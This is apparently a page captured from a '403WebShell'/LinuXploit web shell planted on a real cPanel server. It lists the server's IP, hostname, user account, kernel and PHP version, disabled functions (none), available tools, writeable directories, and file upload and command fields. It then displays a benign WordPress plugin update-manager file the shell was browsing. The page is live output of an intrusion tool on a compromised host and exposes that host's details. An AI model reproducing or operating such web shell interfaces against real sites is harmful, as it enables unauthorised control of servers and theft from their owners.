$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Update/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Update/Manager.php
<?php
/**
 * Update manager.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Update;

use HelloPack\Client\Api\Client;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Coordinates all update-related hooks.
 */
class Manager {

	/**
	 * Plugin updater.
	 *
	 * @var PluginUpdater
	 */
	private PluginUpdater $plugin_updater;

	/**
	 * Theme updater.
	 *
	 * @var ThemeUpdater
	 */
	private ThemeUpdater $theme_updater;

	/**
	 * Deferred download handler.
	 *
	 * @var DeferredDownload
	 */
	private DeferredDownload $deferred;

	/**
	 * Items cache.
	 *
	 * @var ItemsCache
	 */
	private ItemsCache $items_cache;

	/**
	 * Constructor.
	 *
	 * @param Client $api API client.
	 */
	public function __construct( Client $api ) {
		$this->items_cache    = new ItemsCache( $api );
		$this->plugin_updater = new PluginUpdater( $api, $this->items_cache );
		$this->theme_updater  = new ThemeUpdater( $api, $this->items_cache );
		$this->deferred       = new DeferredDownload( $api );

		$this->register_hooks();
	}

	/**
	 * Register all update-related hooks.
	 */
	private function register_hooks(): void {
		// Filter WP.org requests to remove premium items.
		add_filter( 'http_request_args', array( $this, 'filter_update_check' ), 5, 2 );

		// Inject plugin updates.
		add_filter( 'pre_set_site_transient_update_plugins', array( $this->plugin_updater, 'inject_updates' ), PHP_INT_MAX );
		add_filter( 'pre_set_transient_update_plugins', array( $this->plugin_updater, 'inject_updates' ), PHP_INT_MAX );
		add_filter( 'site_transient_update_plugins', array( $this->plugin_updater, 'inject_updates' ), PHP_INT_MAX );

		// Inject theme updates.
		add_filter( 'pre_set_site_transient_update_themes', array( $this->theme_updater, 'inject_updates' ), PHP_INT_MAX );
		add_filter( 'pre_set_transient_update_themes', array( $this->theme_updater, 'inject_updates' ), PHP_INT_MAX );

		// Plugin info for detail modal.
		add_filter( 'plugins_api', array( $this->plugin_updater, 'get_plugin_info' ), PHP_INT_MAX, 3 );

		// Resolve deferred download URLs at upgrade time.
		add_filter( 'upgrader_package_options', array( $this->deferred, 'resolve' ), PHP_INT_MAX );

		// Rebuild caches on plugin/theme changes.
		add_action( 'activated_plugin', array( $this->plugin_updater, 'rebuild' ) );
		add_action( 'deactivated_plugin', array( $this->plugin_updater, 'rebuild' ) );
		add_action( 'deleted_plugin', array( $this->plugin_updater, 'rebuild' ) );
		add_action( 'after_switch_theme', array( $this->theme_updater, 'rebuild' ) );
	}

	/**
	 * Filter update check requests to remove premium items.
	 *
	 * @param array<string, mixed> $request HTTP request args.
	 * @param string               $url     Request URL.
	 * @return array<string, mixed>
	 */
	public function filter_update_check( array $request, string $url ): array {
		$request = $this->plugin_updater->filter_wp_org_request( $request, $url );
		$request = $this->theme_updater->filter_wp_org_request( $request, $url );

		return $request;
	}

	/**
	 * Get the items cache.
	 *
	 * @return ItemsCache
	 */
	public function items_cache(): ItemsCache {
		return $this->items_cache;
	}

	/**
	 * Get the plugin updater.
	 *
	 * @return PluginUpdater
	 */
	public function plugin_updater(): PluginUpdater {
		return $this->plugin_updater;
	}

	/**
	 * Get the theme updater.
	 *
	 * @return ThemeUpdater
	 */
	public function theme_updater(): ThemeUpdater {
		return $this->theme_updater;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit